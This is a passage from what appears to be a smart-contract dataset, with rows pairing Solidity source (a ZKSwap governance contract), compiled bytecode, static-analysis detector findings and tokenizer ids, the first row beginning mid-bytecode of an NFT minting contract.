8dd081a5cc81c185d5cd95960521b60448201526064016107eb565b6110ec33610ba3565b61114f5760405162461bcd60e51b815260206004820152602e60248201527f46656d646f6f646c6573202d2050726573616c65204f6e6c7920666f7220576860448201526d34ba32b634b9ba103ab9b2b9399760911b60648201526084016107eb565b60115462010000900460ff166111b35760405162461bcd60e51b815260206004820152602360248201527f46656d646f6f646c6573202d2050726573616c65206973206e6f7420616374696044820152623b329760e91b60648201526084016107eb565b60006111be60085490565b600e549091506111ce8383612936565b11156112155760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b60448201526064016107eb565b600f5482111561122457600080fd5b33600090815260136020526040902054600f546112418483612936565b111561128f5760405162461bcd60e51b815260206004820152601c60248201527f6d6178204e46542070657220616464726573732065786365656465640000000060448201526064016107eb565b601e61129b8484612936565b11156112e057600a546001600160a01b031633146112e05782600d546112c1919061294e565b3410156112e05760405162461bcd60e51b81526004016107eb9061296d565b60015b838111611339573360009081526013602052604081208054916113058361291b565b91905055506113273360106000815461131d9061291b565b9182905550611d4a565b806113318161291b565b9150506112e3565b50505050565b600a546001600160a01b031633146113695760405162461bcd60e51b81526004016107eb9061282e565b6011805460ff19811660ff90911615179055565b60606001805461082090612863565b60115460ff16156113d85760405162461bcd60e51b81526020600482015260166024820152751d1a194818dbdb9d1c9858dd081a5cc81c185d5cd95960521b60448201526064016107eb565b6011546301000000900460ff1661143f5760405162461bcd60e51b815260206004820152602560248201527f46656d646f6f646c65733a3a6d696e743a204d696e74206973206e6f742061636044820152643a34bb329760d91b60648201526084016107eb565b600061144a60085490565b600e5490915061145a8383612936565b11156114a15760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b60448201526064016107eb565b600a546001600160a01b0316331461155c57600f548211156114c257600080fd5b33600090815260136020526040902054600f546114df8483612936565b111561152d5760405162461bcd60e51b815260206004820152601c60248201527f6d6178204e46542070657220616464726573732065786365656465640000000060448201526064016107eb565b82600d5461153b919061294e565b34101561155a5760405162461bcd60e51b81526004016107eb9061296d565b505b60015b828111610ad7573360009081526013602052604081208054916115818361291b565b91905055506115993360106000815461131d9061291b565b806115a38161291b565b91505061155f565b6001600160a01b0382163314156116045760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107eb565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61167a3383611a37565b6116965760405162461bcd60e51b81526004016107eb9061289e565b61133984848484611d64565b601281815481106116b257600080fd5b6000918252602090912001546001600160a01b0316905081565b6000818152600260205260409020546060906001600160a01b03166117435760405162461bcd60e51b815260206004820152602760248201527f4552433732314d657461646174613a20546f6b656e20494420646f6573206e6f6044820152661d08195e1a5cdd60ca1b60648201526084016107eb565b601154610100900460ff16156117af576000600b805461176290612863565b90501161177e57604051806020016040528060008152506107bb565b600b61178983611d97565b60405160200161179a9291906129ce565b60405160208183030381529060405292915050565b6000600c80546117be90612863565b9050116117da57604051806020016040528060008152506107bb565b600c80546117e790612863565b80601f016020809104026020016040519081016040528092919081815260200182805461181390612863565b80156118605780601f1061183557610100808354040283529160200191611860565b820191906000526020600020905b81548152906001019060200180831161184357829003601f168201915b505050505092915050565b919050565b600a546001600160a01b0316331461189a5760405162461bcd60e51b81526004016107eb9061282e565b60118054630100000060ff620100008084048216150262ff000019841681178390049091161590910263ff0000001990911663ffff00001990921691909117179055565b600a546001600160a01b031633146119085760405162461bcd60e51b81526004016107eb9061282e565b6001600160a01b03811661196d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107eb565b61197681611cf8565b50565b60006001600160e01b031982166380ac58cd60e01b14806119aa57506001600160e01b03198216635b5e139f60e01b145b806107bb57506301ffc9a760e01b6001600160e01b03198316146107bb565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906119fe82610ee5565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316611ab05760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107eb565b6000611abb83610ee5565b9050806001600160a01b0316846001600160a01b03161480611af65750836001600160a01b0316611aeb846108a3565b6001600160a01b0316145b80611b2657506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611b4182610ee5565b6001600160a01b031614611ba95760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016107eb565b6001600160a01b038216611c0b5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107eb565b611c16838383611e95565b611c216000826119c9565b6001600160a01b0383166000908152600360205260408120805460019290611c4a908490612a99565b90915550506001600160a01b0382166000908152600360205260408120805460019290611c78908490612936565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000611ce5828461294e565b9392505050565b6000611ce58284612ac6565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610ee1828260405180602001604052806000815250611f4d565b611d6f848484611b2e565b611d7b84848484611f80565b6113395760405162461bcd60e51b81526004016107eb90612ada565b606081611dbb5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611de55780611dcf8161291b565b9150611dde9050600a83612ac6565b9150611dbf565b60008167ffffffffffffffff811115611e0057611e006125f9565b6040519080825280601f01601f191660200182016040528015611e2a576020820181803683370190505b5090505b8415611b2657611e3f600183612a99565b9150611e4c600a86612b2c565b611e57906030612936565b60f81b818381518110611e6c57611e6c6128ef565b60200101906001600160f81b031916908160001a905350611e8e600a86612ac6565b9450611e2e565b6001600160a01b038316611ef057611eeb81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611f13565b816001600160a01b0316836001600160a01b031614611f1357611f13838261207e565b6001600160a01b038216611f2a57610ad78161211b565b826001600160a01b0316826001600160a01b031614610ad757610ad782826121ca565b611f57838361220e565b611f646000848484611f80565b610ad75760405162461bcd60e51b81526004016107eb90612ada565b60006001600160a01b0384163b1561207357604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611fc4903390899088908890600401612b40565b6020604051808303816000875af1925050508015611fff575060408051601f3d908101601f19168201909252611ffc91810190612b7d565b60015b612059573d80801561202d576040519150601f19603f3d011682016040523d82523d6000602084013e612032565b606091505b5080516120515760405162461bcd60e51b81526004016107eb90612ada565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611b26565b506001949350505050565b6000600161208b84610fda565b6120959190612a99565b6000838152600760205260409020549091508082146120e8576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061212d90600190612a99565b60008381526009602052604081205460088054939450909284908110612155576121556128ef565b906000526020600020015490508060088381548110612176576121766128ef565b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806121ae576121ae612b9a565b6001900381819060005260206000200160009055905550505050565b60006121d583610fda565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166122645760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107eb565b6000818152600260205260409020546001600160a01b0316156122c95760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107eb565b6122d560008383611e95565b6001600160a01b03821660009081526003602052604081208054600192906122fe908490612936565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461236890612863565b90600052602060002090601f01602090048101928261238a57600085556123d0565b82601f106123a357805160ff19168380011785556123d0565b828001600101855582156123d0579182015b828111156123d05782518255916020019190600101906123b5565b506123dc929150612451565b5090565b50805460008255906000526020600020908101906119769190612451565b8280548282559060005260206000209081019282156123d0579160200282015b828111156123d05781546001600160a01b0319166001600160a01b0384351617825560209092019160019091019061241e565b5b808211156123dc5760008155600101612452565b6001600160e01b03198116811461197657600080fd5b60006020828403121561248e57600080fd5b8135611ce581612466565b60005b838110156124b457818101518382015260200161249c565b838111156113395750506000910152565b600081518084526124dd816020860160208601612499565b601f01601f19169290920160200192915050565b602081526000611ce560208301846124c5565b60006020828403121561251657600080fd5b5035919050565b80356001600160a01b038116811461186b57600080fd5b6000806040838503121561254757600080fd5b6125508361251d565b946020939093013593505050565b60006020828403121561257057600080fd5b611ce58261251d565b60008060006060848603121561258e57600080fd5b6125978461251d565b92506125a56020850161251d565b9150604084013590509250925092565b6020808252825182820181905260009190848201906040850190845b818110156125ed578351835292840192918401916001016125d1565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561262a5761262a6125f9565b604051601f8501601f19908116603f01168101908282118183101715612652576126526125f9565b8160405280935085815286868601111561266b57600080fd5b858560208301376000602087830101525050509392505050565b60006020828403121561269757600080fd5b813567ffffffffffffffff8111156126ae57600080fd5b8201601f810184136126bf57600080fd5b611b268482356020840161260f565b600080602083850312156126e157600080fd5b823567ffffffffffffffff808211156126f957600080fd5b818501915085601f83011261270d57600080fd5b81358181111561271c57600080fd5b8660208260051b850101111561273157600080fd5b60209290920196919550909350505050565b6000806040838503121561275657600080fd5b61275f8361251d565b91506020830135801515811461277457600080fd5b809150509250929050565b6000806000806080858703121561279557600080fd5b61279e8561251d565b93506127ac6020860161251d565b925060408501359150606085013567ffffffffffffffff8111156127cf57600080fd5b8501601f810187136127e057600080fd5b6127ef8782356020840161260f565b91505092959194509250565b6000806040838503121561280e57600080fd5b6128178361251d565b91506128256020840161251d565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061287757607f821691505b6020821081141561289857634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561292f5761292f612905565b5060010190565b6000821982111561294957612949612905565b500190565b600081600019048311821515161561296857612968612905565b500290565b60208082526025908201527f46656d646f6f646c65733a3a6d696e743a20696e73756666696369656e742065604082015264746865727360d81b606082015260800190565b600081516129c4818560208601612499565b9290920192915050565b600080845481600182811c9150808316806129ea57607f831692505b6020808410821415612a0a57634e487b7160e01b86526022600452602486fd5b818015612a1e5760018114612a2f57612a5c565b60ff19861689528489019650612a5c565b60008b81526020902060005b86811015612a545781548b820152908501908301612a3b565b505084890196505b505050505050612a90612a7f612a7983602f60f81b815260010190565b866129b2565b64173539b7b760d91b815260050190565b95945050505050565b600082821015612aab57612aab612905565b500390565b634e487b7160e01b600052601260045260246000fd5b600082612ad557612ad5612ab0565b500490565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b600082612b3b57612b3b612ab0565b500690565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612b73908301846124c5565b9695505050505050565b600060208284031215612b8f57600080fd5b8151611ce581612466565b634e487b7160e01b600052603160045260246000fdfea2646970667358221220ea717006e9fbce53d48fa51314ef3eb35aa7f0b448c72e21c0dfd7d6c431e74d64736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2575,
2620,
10790,
2581,
2620,
2620,
23632,
26976,
23632,
21926,
10322,
2692,
2581,
2487,
2497,
17788,
2546,
18827,
2509,
2050,
23833,
2509,
2546,
24434,
2683,
2575,
2050,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
14046,
1013,
1013,
2023,
2544,
1997,
3647,
18900,
2232,
2323,
2069,
2022,
2109,
2007,
5024,
3012,
1014,
1012,
1022,
2030,
2101,
1010,
1013,
1013,
2138,
2009,
16803,
2006,
1996,
21624,
1005,
1055,
2328,
1999,
2058,
12314,
14148,
1012,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,437 | 0x95269f9E76540459c797089034dc74b48dF780a2 | pragma solidity ^0.5.0;
import "./Config.sol";
/// @title Governance Contract
/// @author Matter Labs
/// @author ZKSwap L2 Labs
contract Governance is Config {
/// @notice Token added to Franklin net
event NewToken(
address indexed token,
uint16 indexed tokenId
);
/// @notice Governor changed
event NewGovernor(
address newGovernor
);
/// @notice tokenLister changed
event NewTokenLister(
address newTokenLister
);
/// @notice Validator's status changed
event ValidatorStatusUpdate(
address indexed validatorAddress,
bool isActive
);
/// @notice Address which will exercise governance over the network i.e. add tokens, change validator set, conduct upgrades
address public networkGovernor;
/// @notice Total number of ERC20 fee tokens registered in the network (excluding ETH, which is hardcoded as tokenId = 0)
uint16 public totalFeeTokens;
/// @notice Total number of ERC20 user tokens registered in the network
uint16 public totalUserTokens;
/// @notice List of registered tokens by tokenId
mapping(uint16 => address) public tokenAddresses;
/// @notice List of registered tokens by address
mapping(address => uint16) public tokenIds;
/// @notice List of permitted validators
mapping(address => bool) public validators;
address public tokenLister;
constructor() public {
networkGovernor = msg.sender;
}
/// @notice Governance contract initialization. Can be external because Proxy contract intercepts illegal calls of this function.
/// @param initializationParameters Encoded representation of initialization parameters:
/// _networkGovernor The address of network governor
function initialize(bytes calldata initializationParameters) external {
require(networkGovernor == address(0), "init0");
(address _networkGovernor, address _tokenLister) = abi.decode(initializationParameters, (address, address));
networkGovernor = _networkGovernor;
tokenLister = _tokenLister;
}
/// @notice Governance contract upgrade. Can be external because Proxy contract intercepts illegal calls of this function.
/// @param upgradeParameters Encoded representation of upgrade parameters
function upgrade(bytes calldata upgradeParameters) external {}
/// @notice Change current governor
/// @param _newGovernor Address of the new governor
function changeGovernor(address _newGovernor) external {
requireGovernor(msg.sender);
require(_newGovernor != address(0), "zero address is passed as _newGovernor");
if (networkGovernor != _newGovernor) {
networkGovernor = _newGovernor;
emit NewGovernor(_newGovernor);
}
}
/// @notice Change current governor
/// @param _newTokenLister Address of the new governor
function changeTokenLister(address _newTokenLister) external {
requireGovernor(msg.sender);
require(_newTokenLister != address(0), "zero address is passed as _newTokenLister");
if (tokenLister != _newTokenLister) {
tokenLister = _newTokenLister;
emit NewTokenLister(_newTokenLister);
}
}
/// @notice Add fee token to the list of networks tokens
/// @param _token Token address
function addFeeToken(address _token) external {
requireGovernor(msg.sender);
require(tokenIds[_token] == 0, "gan11"); // token exists
require(totalFeeTokens < MAX_AMOUNT_OF_REGISTERED_FEE_TOKENS, "fee12"); // no free identifiers for tokens
require(
_token != address(0), "address cannot be zero"
);
totalFeeTokens++;
uint16 newTokenId = totalFeeTokens; // it is not `totalTokens - 1` because tokenId = 0 is reserved for eth
tokenAddresses[newTokenId] = _token;
tokenIds[_token] = newTokenId;
emit NewToken(_token, newTokenId);
}
/// @notice Add token to the list of networks tokens
/// @param _token Token address
function addToken(address _token) external {
requireTokenLister(msg.sender);
require(tokenIds[_token] == 0, "gan11"); // token exists
require(totalUserTokens < MAX_AMOUNT_OF_REGISTERED_USER_TOKENS, "gan12"); // no free identifiers for tokens
require(
_token != address(0), "address cannot be zero"
);
uint16 newTokenId = USER_TOKENS_START_ID + totalUserTokens;
totalUserTokens++;
tokenAddresses[newTokenId] = _token;
tokenIds[_token] = newTokenId;
emit NewToken(_token, newTokenId);
}
/// @notice Change validator status (active or not active)
/// @param _validator Validator address
/// @param _active Active flag
function setValidator(address _validator, bool _active) external {
requireGovernor(msg.sender);
if (validators[_validator] != _active) {
validators[_validator] = _active;
emit ValidatorStatusUpdate(_validator, _active);
}
}
/// @notice Check if specified address is is governor
/// @param _address Address to check
function requireGovernor(address _address) public view {
require(_address == networkGovernor, "grr11"); // only by governor
}
/// @notice Check if specified address can list token
/// @param _address Address to check
function requireTokenLister(address _address) public view {
require(_address == networkGovernor || _address == tokenLister, "grr11"); // token lister or governor
}
/// @notice Checks if validator is active
/// @param _address Validator address
function requireActiveValidator(address _address) external view {
require(validators[_address], "grr21"); // validator is not active
}
/// @notice Validate token id (must be less than or equal to total tokens amount)
/// @param _tokenId Token id
/// @return bool flag that indicates if token id is less than or equal to total tokens amount
function isValidTokenId(uint16 _tokenId) external view returns (bool) {
return (_tokenId <= totalFeeTokens) || (_tokenId >= USER_TOKENS_START_ID && _tokenId < (USER_TOKENS_START_ID + totalUserTokens ));
}
/// @notice Validate token address
/// @param _tokenAddr Token address
/// @return tokens id
function validateTokenAddress(address _tokenAddr) external view returns (uint16) {
uint16 tokenId = tokenIds[_tokenAddr];
require(tokenId != 0, "gvs11"); // 0 is not a valid token
require(tokenId <= MAX_AMOUNT_OF_REGISTERED_TOKENS, "gvs12");
return tokenId;
}
function getTokenAddress(uint16 _tokenId) external view returns (address) {
address tokenAddr = tokenAddresses[_tokenId];
return tokenAddr;
}
}
pragma solidity ^0.5.0;
/// @title ZKSwap configuration constants
/// @author Matter Labs
/// @author ZKSwap L2 Labs
contract Config {
/// @notice ERC20 token withdrawal gas limit, used only for complete withdrawals
uint256 constant ERC20_WITHDRAWAL_GAS_LIMIT = 350000;
/// @notice ETH token withdrawal gas limit, used only for complete withdrawals
uint256 constant ETH_WITHDRAWAL_GAS_LIMIT = 10000;
/// @notice Bytes in one chunk
uint8 constant CHUNK_BYTES = 11;
/// @notice ZKSwap address length
uint8 constant ADDRESS_BYTES = 20;
uint8 constant PUBKEY_HASH_BYTES = 20;
/// @notice Public key bytes length
uint8 constant PUBKEY_BYTES = 32;
/// @notice Ethereum signature r/s bytes length
uint8 constant ETH_SIGN_RS_BYTES = 32;
/// @notice Success flag bytes length
uint8 constant SUCCESS_FLAG_BYTES = 1;
/// @notice Max amount of fee tokens registered in the network (excluding ETH, which is hardcoded as tokenId = 0)
uint16 constant MAX_AMOUNT_OF_REGISTERED_FEE_TOKENS = 32 - 1;
/// @notice start ID for user tokens
uint16 constant USER_TOKENS_START_ID = 32;
/// @notice Max amount of user tokens registered in the network
uint16 constant MAX_AMOUNT_OF_REGISTERED_USER_TOKENS = 16352;
/// @notice Max amount of tokens registered in the network
uint16 constant MAX_AMOUNT_OF_REGISTERED_TOKENS = 16384 - 1;
/// @notice Max account id that could be registered in the network
uint32 constant MAX_ACCOUNT_ID = (2 ** 28) - 1;
/// @notice Expected average period of block creation
uint256 constant BLOCK_PERIOD = 15 seconds;
/// @notice ETH blocks verification expectation
/// Blocks can be reverted if they are not verified for at least EXPECT_VERIFICATION_IN.
/// If set to 0 validator can revert blocks at any time.
uint256 constant EXPECT_VERIFICATION_IN = 0 hours / BLOCK_PERIOD;
uint256 constant NOOP_BYTES = 1 * CHUNK_BYTES;
uint256 constant CREATE_PAIR_BYTES = 3 * CHUNK_BYTES;
uint256 constant DEPOSIT_BYTES = 4 * CHUNK_BYTES;
uint256 constant TRANSFER_TO_NEW_BYTES = 4 * CHUNK_BYTES;
uint256 constant PARTIAL_EXIT_BYTES = 5 * CHUNK_BYTES;
uint256 constant TRANSFER_BYTES = 2 * CHUNK_BYTES;
uint256 constant UNISWAP_ADD_LIQ_BYTES = 3 * CHUNK_BYTES;
uint256 constant UNISWAP_RM_LIQ_BYTES = 3 * CHUNK_BYTES;
uint256 constant UNISWAP_SWAP_BYTES = 2 * CHUNK_BYTES;
/// @notice Full exit operation length
uint256 constant FULL_EXIT_BYTES = 4 * CHUNK_BYTES;
/// @notice OnchainWithdrawal data length
uint256 constant ONCHAIN_WITHDRAWAL_BYTES = 1 + 20 + 2 + 16; // (uint8 addToPendingWithdrawalsQueue, address _to, uint16 _tokenId, uint128 _amount)
/// @notice ChangePubKey operation length
uint256 constant CHANGE_PUBKEY_BYTES = 5 * CHUNK_BYTES;
/// @notice Expiration delta for priority request to be satisfied (in seconds)
/// NOTE: Priority expiration should be > (EXPECT_VERIFICATION_IN * BLOCK_PERIOD), otherwise incorrect block with priority op could not be reverted.
uint256 constant PRIORITY_EXPIRATION_PERIOD = 3 days;
/// @notice Expiration delta for priority request to be satisfied (in ETH blocks)
uint256 constant PRIORITY_EXPIRATION = PRIORITY_EXPIRATION_PERIOD / BLOCK_PERIOD;
/// @notice Maximum number of priority request to clear during verifying the block
/// @dev Cause deleting storage slots cost 5k gas per each slot it's unprofitable to clear too many slots
/// @dev Value based on the assumption of ~750k gas cost of verifying and 5 used storage slots per PriorityOperation structure
uint64 constant MAX_PRIORITY_REQUESTS_TO_DELETE_IN_VERIFY = 6;
/// @notice Reserved time for users to send full exit priority operation in case of an upgrade (in seconds)
uint constant MASS_FULL_EXIT_PERIOD = 3 days;
/// @notice Reserved time for users to withdraw funds from full exit priority operation in case of an upgrade (in seconds)
uint constant TIME_TO_WITHDRAW_FUNDS_FROM_FULL_EXIT = 2 days;
/// @notice Notice period before activation preparation status of upgrade mode (in seconds)
// NOTE: we must reserve for users enough time to send full exit operation, wait maximum time for processing this operation and withdraw funds from it.
uint constant UPGRADE_NOTICE_PERIOD = MASS_FULL_EXIT_PERIOD + PRIORITY_EXPIRATION_PERIOD + TIME_TO_WITHDRAW_FUNDS_FROM_FULL_EXIT;
// @notice Default amount limit for each ERC20 deposit
uint128 constant DEFAULT_MAX_DEPOSIT_AMOUNT = 2 ** 85;
}
| 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063d48bfca7116100ad578063f39349ef11610071578063f39349ef14610405578063f5f84ed41461040d578063fa52c7d814610433578063fbb1a1d414610459578063fc97a303146104615761012c565b8063d48bfca71461033d578063e2c7926814610363578063e4c0aaf414610398578063ead31762146103be578063ef365218146103e45761012c565b80634b18bd0f116100f45780634b18bd0f146102865780634ca8a395146102ac5780637743aa91146102cb578063aa2eded2146102f1578063c883eb50146103175761012c565b806310603dad14610131578063253946451461016e5780632c1d4af5146101e0578063439fab91146101e85780634623c91d14610258575b600080fd5b6101526004803603602081101561014757600080fd5b503561ffff16610487565b604080516001600160a01b039092168252519081900360200190f35b6101de6004803603602081101561018457600080fd5b81019060208101813564010000000081111561019f57600080fd5b8201836020820111156101b157600080fd5b803590602001918460018302840111640100000000831117156101d357600080fd5b5090925090506104a2565b005b6101526104a6565b6101de600480360360208110156101fe57600080fd5b81019060208101813564010000000081111561021957600080fd5b82018360208201111561022b57600080fd5b8035906020019184600183028401116401000000008311171561024d57600080fd5b5090925090506104b5565b6101de6004803603604081101561026e57600080fd5b506001600160a01b038135169060200135151561054b565b6101de6004803603602081101561029c57600080fd5b50356001600160a01b03166105da565b6102b4610632565b6040805161ffff9092168252519081900360200190f35b6101de600480360360208110156102e157600080fd5b50356001600160a01b0316610643565b6101de6004803603602081101561030757600080fd5b50356001600160a01b03166106fa565b6101de6004803603602081101561032d57600080fd5b50356001600160a01b0316610898565b6101de6004803603602081101561035357600080fd5b50356001600160a01b03166108fa565b6103846004803603602081101561037957600080fd5b503561ffff16610a95565b604080519115158252519081900360200190f35b6101de600480360360208110156103ae57600080fd5b50356001600160a01b0316610ae1565b6102b4600480360360208110156103d457600080fd5b50356001600160a01b0316610b98565b610152600480360360208110156103fa57600080fd5b503561ffff16610c32565b610152610c51565b6101de6004803603602081101561042357600080fd5b50356001600160a01b0316610c60565b6103846004803603602081101561044957600080fd5b50356001600160a01b0316610caa565b6102b4610cbf565b6102b46004803603602081101561047757600080fd5b50356001600160a01b0316610cd0565b6001602052600090815260409020546001600160a01b031681565b5050565b6004546001600160a01b031681565b6000546001600160a01b0316156104fb576040805162461bcd60e51b81526020600482015260056024820152640696e6974360dc1b604482015290519081900360640190fd5b6000808383604081101561050e57600080fd5b506000805482356001600160a01b039081166001600160a01b03199283161790925560048054602090940135909216921691909117905550505050565b61055433610c60565b6001600160a01b03821660009081526003602052604090205460ff161515811515146104a2576001600160a01b038216600081815260036020908152604091829020805460ff1916851515908117909155825190815291517f065b77b53864e46fda3d8986acb51696223d6dde7ced42441eb150bae6d481369281900390910190a25050565b6001600160a01b03811660009081526003602052604090205460ff1661062f576040805162461bcd60e51b8152602060048201526005602482015264677272323160d81b604482015290519081900360640190fd5b50565b600054600160a01b900461ffff1681565b61064c33610c60565b6001600160a01b0381166106915760405162461bcd60e51b8152600401808060200182810382526029815260200180610d0d6029913960400191505060405180910390fd5b6004546001600160a01b0382811691161461062f57600480546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f27a62b6770204c21f1cea70018df609d5c9261d4d3ec9d34fe5e3fcbf1320c6e9181900360200190a150565b61070333610c60565b6001600160a01b03811660009081526002602052604090205461ffff161561075a576040805162461bcd60e51b815260206004820152600560248201526467616e313160d81b604482015290519081900360640190fd5b600054601f600160a01b90910461ffff16106107a5576040805162461bcd60e51b81526020600482015260056024820152643332b2989960d91b604482015290519081900360640190fd5b6001600160a01b0381166107f9576040805162461bcd60e51b8152602060048201526016602482015275616464726573732063616e6e6f74206265207a65726f60501b604482015290519081900360640190fd5b60008054600161ffff600160a01b808404821683018216810261ffff60a01b1990941693909317808555929092049091168083526020918252604080842080546001600160a01b0387166001600160a01b031990911681179091558085526002909352808420805461ffff1916831790555190928392917ffe74dea79bde70d1990ddb655bac45735b14f495ddc508cfab80b7729aa9d6689190a35050565b6000546001600160a01b03828116911614806108c157506004546001600160a01b038281169116145b61062f576040805162461bcd60e51b8152602060048201526005602482015264677272313160d81b604482015290519081900360640190fd5b61090333610898565b6001600160a01b03811660009081526002602052604090205461ffff161561095a576040805162461bcd60e51b815260206004820152600560248201526467616e313160d81b604482015290519081900360640190fd5b600054613fe0600160b01b90910461ffff16106109a6576040805162461bcd60e51b815260206004820152600560248201526433b0b7189960d91b604482015290519081900360640190fd5b6001600160a01b0381166109fa576040805162461bcd60e51b8152602060048201526016602482015275616464726573732063616e6e6f74206265207a65726f60501b604482015290519081900360640190fd5b6000805461ffff60b01b198116600160b01b9182900461ffff908116600181810183169094029290921784556020918201908116808552928252604080852080546001600160a01b0319166001600160a01b0388169081179091558086526002909352808520805461ffff1916851790555190937ffe74dea79bde70d1990ddb655bac45735b14f495ddc508cfab80b7729aa9d66891a35050565b6000805461ffff600160a01b9091048116908316111580610adb5750602061ffff831610801590610adb5750600054602061ffff600160b01b9092048216018116908316105b92915050565b610aea33610c60565b6001600160a01b038116610b2f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610ce76026913960400191505060405180910390fd5b6000546001600160a01b0382811691161461062f57600080546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f5425363a03f182281120f5919107c49c7a1a623acc1cbc6df468b6f0c11fcf8c9181900360200190a150565b6001600160a01b03811660009081526002602052604081205461ffff1680610bef576040805162461bcd60e51b8152602060048201526005602482015264677673313160d81b604482015290519081900360640190fd5b613fff61ffff82161115610adb576040805162461bcd60e51b815260206004820152600560248201526433bb39989960d91b604482015290519081900360640190fd5b61ffff166000908152600160205260409020546001600160a01b031690565b6000546001600160a01b031681565b6000546001600160a01b0382811691161461062f576040805162461bcd60e51b8152602060048201526005602482015264677272313160d81b604482015290519081900360640190fd5b60036020526000908152604090205460ff1681565b600054600160b01b900461ffff1681565b60026020526000908152604090205461ffff168156fe7a65726f206164647265737320697320706173736564206173205f6e6577476f7665726e6f727a65726f206164647265737320697320706173736564206173205f6e6577546f6b656e4c6973746572a265627a7a72315820c59d08ddb4191907229e4d26901eef2a071d509b7d6d48f9b0ec035a1c72c90764736f6c63430005100032 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
2575,
2683,
2546,
2683,
2063,
2581,
26187,
12740,
19961,
2683,
2278,
2581,
2683,
19841,
2620,
21057,
22022,
16409,
2581,
2549,
2497,
18139,
20952,
2581,
17914,
2050,
2475,
10975,
8490,
